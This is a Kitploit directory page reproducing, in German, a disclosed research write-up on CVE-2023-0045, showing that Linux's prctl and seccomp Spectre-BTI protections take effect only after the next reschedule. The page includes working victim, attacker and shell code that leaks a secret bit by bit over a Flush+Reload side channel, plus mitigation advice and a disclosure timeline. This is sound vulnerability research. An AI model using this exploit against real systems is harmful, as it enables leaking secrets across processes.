Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-0045 | Kitploit
Tools/GitHubGitHub/es0j/cve-2023-0045
SchwachstellenanalyseExploitationPapers & ForschungLernen & BildungBinary-Exploitation
GitHubes0j/cve-2023-0045

CVE-2023-0045

Repository anzeigen
142vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Umgehung von Spectre-BTI-User-Space-Mitigationen unter Linux

Dies ist ein Arbeitsdokument. Bitte sendet uns Feedback, wenn ihr glaubt, dass wir etwas falsch verstanden haben oder eine Referenz fehlt.

Version 1.0

José Oliveira (esoj)

Rodrigo Branco (BSDaemon)

Einleitung

Beim Testen der Erfolgsrate von Spectre-BTI-Angriffen haben wir ein seltsames Muster bei der Verwendung der Kernel-API als Mitigation1 festgestellt. Unsere Tests zeigten, dass der Linux-Kernel den Angriff nicht korrekt mitigiert und den Prozess für einen kurzen Zeitraum nach dem Syscall ungeschützt lässt.

Weitere Untersuchungen ergaben, dass der Kernel während des Syscalls kein IBPB unmittelbar auslöst. Die Funktion ib_prctl_set2 aktualisiert die Thread Information Flags (TIFs) für den Task und aktualisiert das SPEC_CTRL-MSR in der Funktion __speculation_ctrl_update 3, aber das IBPB wird erst beim nächsten Scheduler-Durchlauf ausgelöst, wenn die TIF-Bits geprüft werden. Dadurch bleibt das Opfer anfällig für Werte, die bereits vor dem prctl-Syscall in den BTB injiziert wurden. Dieses Verhalten wird erst nach einer Neuplanung des Tasks korrigiert. Darüber hinaus wird beim Kernel-Eintritt (aufgrund des Syscalls selbst) in den Standard-Szenarien (d.h. wenn der Kernel sich selbst per Retpoline oder eIBRS schützt) kein IBPB ausgelöst.

Die prctl-Mitigation

Das Ausführen eines prctl zur Mitigation von Spectre-BTI-Angriffen mit: prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); führt in Kernel 5.15 zur Funktion ib_prctl_set2. Wenn die Option SPEC_DISABLE verwendet wird, wird das TIF-Bit für task_set_spec_ib_disable gesetzt und task_update_spec_tif aufgerufen:

root@kitploit:~
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
    /*
     * Indirect branch speculation is always allowed when
     * mitigation is force disabled.
     */
    if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
        spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
        return -EPERM;

    if (!is_spec_ib_user_controlled())
        return 0;

    task_set_spec_ib_disable(task);
    if (ctrl == PR_SPEC_FORCE_DISABLE)
        task_set_spec_ib_force_disable(task);
    task_update_spec_tif(task);
    break;

task_set_spec_ib_disable ruft set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); auf, und wenn der Ziel-Task der aktuelle ist, ruft es speculation_ctrl_update_current(); auf:

root@kitploit:~
static void task_update_spec_tif(struct task_struct *tsk)
{
	/* Force the update of the real TIF bits */
	set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);

	/*
	 * Immediately update the speculation control MSRs for the current
	 * task, but for a non-current task delay setting the CPU
	 * mitigation until it is scheduled next.
	 *
	 * This can only happen for SECCOMP mitigation. For PRCTL it's
	 * always the current task.
	 */
	if (tsk == current)
		speculation_ctrl_update_current();
}

Die speculation_ctrl_update_current-Funktion führt nach dem speculation_ctrl_update-Wrapper __speculation_ctrl_update mit tifp = ~tifp aus. Hier wird das wrmsr zum Setzen von STIBP ausgeführt, aber kein IBPB ausgelöst:

root@kitploit:~
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
						      unsigned long tifn)
{
	unsigned long tif_diff = tifp ^ tifn;
	u64 msr = x86_spec_ctrl_base;
	bool updmsr = false;

	lockdep_assert_irqs_disabled();

	/* Handle change of TIF_SSBD depending on the mitigation method. */
	if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_ssb_virt_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_core_ssb_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
		   static_cpu_has(X86_FEATURE_AMD_SSBD)) {
		updmsr |= !!(tif_diff & _TIF_SSBD);
		msr |= ssbd_tif_to_spec_ctrl(tifn);
	}

	/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
	if (IS_ENABLED(CONFIG_SMP) &&
	    static_branch_unlikely(&switch_to_cond_stibp)) {
		updmsr |= !!(tif_diff & _TIF_SPEC_IB);
		msr |= stibp_tif_to_spec_ctrl(tifn);
	}

	if (updmsr)
		wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}

Der seccomp-Syscall verwendet ebenfalls ib_prctl_set2 als Mitigation, innerhalb von arch_seccomp_spec_mitigate4, sodass dasselbe Ergebnis bei seccomp zu erwarten ist.

Tests

Obwohl wir durch die Code-Analyse sicher sind, dass das Fenster für eine Ausnutzung existiert, war unklar, ob es groß genug ist, damit das Opfer Geheimnisse lädt und der Angreifer sie abgreift (da erwartet wird, dass Geheimnisse nicht im Adressraum des Opfers sind, bis der prctl-Aufruf ausgeführt wird). Die Tests wurden auf einer Bare-Metal-Maschine mit Unterstützung für Hardware-Mitigationen und einer installierten Ubuntu 22.04.1 LTS ausgeführt:

root@kitploit:~
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
  * Indirect Branch Restricted Speculation (IBRS)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates IBRS capability:  YES  (SPEC_CTRL feature bit)
  * Indirect Branch Prediction Barrier (IBPB)
    * CPU indicates IBPB capability:  YES  (SPEC_CTRL feature bit)
  * Single Thread Indirect Branch Predictors (STIBP)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates STIBP capability:  YES  (Intel STIBP feature bit)
  * Speculative Store Bypass Disable (SSBD)

Der Testcode besteht aus zwei Prozessen, die auf demselben logischen Kern ausgeführt werden. Der Angreifer vergiftet ständig den BTB mit der Adresse einer Spectre-Gadget, die in einem Opferprozess vorhanden ist. Der Opferprozess misst die Fehlvorhersagerate, indem er prüft, ob eine Testvariable von der Spectre-Gadget-Funktion aufgerufen wurde. Dies liefert normalerweise die folgende Ausgabe:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker  0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000  
Rate: 1000/1000  
Rate: 999/1000  
Rate: 1000/1000  
Rate: 1000/1000  
Rate: 997/1000  
Rate: 994/1000  
Rate: 996/1000  
Rate: 998/1000  
Rate: 993/1000  
Total misspredict rate: 9918/10000 (99.18 %)

Dann wird PRCTL verwendet, um den Angriff zu mitigieren. Die Mitigation kann aktiviert werden, indem prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); am Anfang des Programms hinzugefügt wird. Es wird erwartet, dass dies den Spectre-BTI-Angriff mitigiert:

root@kitploit:~
PRCTL GET value 0x9
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Total misspredict rate: 0/10000 (0.00 %)

Einige der Tests zeigten jedoch ein anderes Ergebnis:

root@kitploit:~
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)

Und die Änderung der Priorität ('nice') scheint die Fehlvorhersagerate zu beeinflussen:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)

Dies zeigt, dass der prctl den Prozess erst nach dem nächsten Scheduler-Durchlauf schützte, wie durch die Code-Analyse verstanden. Ein weiteres seltsames Verhalten dieses Tests ist, dass nach einem falschen Sprung der Spekulationspfad korrigiert werden sollte und der wahre Wert in den BTB geschrieben werden muss. Da es keine anderen Angreifer auf dem Geschwister-Thread gibt, die den BTB erneut vergiften, sind so hohe Fehlvorhersagewerte unerwartet.

Proof of Concept

Um sicherzustellen, dass dies kein Messfehler war, haben wir einen einfachen POC erstellt. Der Opfercode führt immer eine safe_function über einen Funktionszeiger aus, der anfällig für einen Spectre-BTI-Angriff ist. Das Opfer fordert den Kernel über den prctl-Syscall (innerhalb von protect_me) zum Schutz auf. Das Opfer lädt außerdem ein Geheimnis aus einer Textdatei, was zeigt, dass andere Syscalls weder das TIF-Bit prüfen noch eine Neuplanung auslösen, die ein IBPB erzwingen würde.

root@kitploit:~
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

int main(int argc, char *argv[])
{

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("running victim %s\n", argv[1]);

    //only call safe_function
    codePtr = safe_function;
    char secret[20];
    char *sharedmem = open_shared_mem();
    unsigned idx = string_to_unsigned(argv[1]);

    //call for prctl to protect this process
    protect_me();

    //only then load the secret into memory
    load_secret(secret);

    for (int i = 0; i < 100; i++)
    {
        flush((char *)&codePtr);
        //this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
        //Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
        spec(&sharedmem[2000], secret, idx);
    }
}

Die meisten libc-Funktionen wurden in einen gemeinsamen Header zwischen Angreifer und Opfer gelegt, sodass die spectre_gadget- und spec-Funktion auf beiden Seiten (Opfer und Angreifer) dieselben Speicheradressen haben (andernfalls wird ein .GOT-Eintrag erstellt und die Adressen ändern sich). Dies ist keine Voraussetzung, und es gibt andere Möglichkeiten, die Sprünge auf denselben Adressen zu platzieren und den Opferkontext nachzuahmen, aber diese Methode ist einfacher.

root@kitploit:~
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>

char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];

// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}

// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
    volatile char d;
    if ((secret[idx / 8] >> (idx % 8)) & 1)
        d = *addr;
}

// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
    asm volatile(
        "clflush [%0]                   \n"
        :
        : "c"(adrs)
        :);
}

// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{

    for (register int i = 0; i < 30; i++)
        ;
    codePtr(addr, secret, idx);
}

// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
    int fd = open("sharedmem", O_RDONLY);
    char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
    // ensure page is on memory
    volatile char d = res[2100];
    return res;
}

// load secret from file
void load_secret(char *secret)
{
    FILE *fp = fopen("secret.txt", "r");
    fgets(secret, 20, (FILE *)fp);
}

// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
    usleep(1000); //not needed but resets the available time on scheduler
    prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}

// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
    return atoi(s);
}

Der Angriff besteht darin, den BTB zu vergiften, indem die spec-Funktion aufgerufen wird und sie dazu gebracht wird, zu spectre_gadget statt zu safe_function zu springen. Nach dem Training wird der Opferprozess erstellt, der spec ausführt, das zu spectre_gadget falsch vorhersagt, das niemals ausgeführt werden sollte. Das Geheimnis wird über einen klassischen Flush+Reload-Seitenkanal geleakt.

root@kitploit:~
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

#define PRINTNUM 1000

unsigned probe(char *adrs)
{
    volatile unsigned long time;
    asm __volatile__(
        "    mfence             \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    lfence             \n"
        "    mov esi, eax       \n"
        "    mov eax,[%1]       \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    sub eax, esi       \n"
        "    clflush [%1]       \n"
        "    mfence             \n"
        "    lfence             \n"
        : "=a"(time)
        : "c"(adrs)
        : "%esi", "%edx");
    return time;
}

int main(int argc, char *argv[])
{

    //Make spec function confuse safe_function with spectre_gadget
    codePtr = spectre_gadget;

    char dummy;
    int hits = 0;
    int tries = 0;
    char *sharedmem = open_shared_mem();
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1)
    {
        //Inject the target in the BTB
        spec(&dummy, &dummy, 0);

        //Allow for victim to execute and misspredict to spectre_gadget
        usleep(1);

        //probe the 1-bit flush+reload side channel
        if (probe((char *)&sharedmem[2000]) < 0x90)
        {
            printf("+");
        }
    }
}

Da das Opfer ein Argument erhält, das verwendet werden kann, um das über den Seitenkanal zu leaktende Bit auszuwählen, können wir den Opferprozess mehrmals ausführen, während der Angreifer läuft:

root@kitploit:~
taskset -c 0 ./attacker >> result.txt &

for i in {0..144}
do
    echo "Leaking bit $i... "
    echo -e -n "Leaking bit $i: " >> result.txt
    sleep .01
    for j in {0..10}
    do
        taskset -c 0 ./victim $i >/dev/null
    done

    echo "" >> result.txt
done

python3 parseResult.py 

make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)

Dies hinterlässt die folgende Textdatei:

root@kitploit:~
Leaking bit 0: +++++++++++
Leaking bit 1: 
Leaking bit 2: 
Leaking bit 3: 
Leaking bit 4: 
Leaking bit 5: 
Leaking bit 6: ++++++++++
Leaking bit 7: 
Leaking bit 8: ++++++++
[...]

Beachtet, dass Bit 0 und 6 1 sind, daher muss das erste Zeichen 0x41(A) sein. Das Parsen der Datei mit einem einfachen Python-Skript zeigt: The secret leaked is: b'Asuper_secret_flag' Dies ist der exakte Inhalt von secret.txt, der vom Opfer verwendet wird.

Das Ändern des prctl-Aufrufs auf seccomp mit syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); nach dem Laden des Geheimnisses verhindert den Angriff nicht. Dies ist erwartbar, da intern beide dieselbe ib_prctl_set-Funktion zur Implementierung der Mitigation verwenden.

Fazit

Die aktuelle Implementierung des prctl-Syscalls zur Spekulationskontrolle schützt den Benutzer nicht vor Angreifern, die vor der Mitigation ausgeführt werden. Auch die seccomp-Mitigation versagt in diesem Szenario.

Mitigationen

Für User-Mode-Anwendungen reicht ein usleep nach dem prctl-Aufruf aus, um eine Neuplanung zu erzwingen und die korrekte Mitigation sicherzustellen. Ein möglicher Kernel-Patch für diesen Angriff besteht darin, das IBPB gleichzeitig mit dem Setzen von STIBP in __speculation_ctrl_update 3 auszulösen oder schedule() aufzurufen.

Zeitleiste

    1. Dezember 2022 - Unerwartetes Verhalten bei prctl erkannt
    1. Dezember 2022 - Erste Version dieses Writeups
    1. Dezember 2022 - Mit dem Linux-Kernel-Sicherheitsteam geteilt
    1. Februar 2023 - Bericht öffentlich offengelegt: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8

Referenzen:

Footnotes

  1. „The Linux kernel user-space API guide: Speculation Control“. Link: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩

  2. „Linux Source code“ Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3

  3. „Linux Source code“ Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2

  4. „Linux Source code“ Link: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩

Tool herunterladen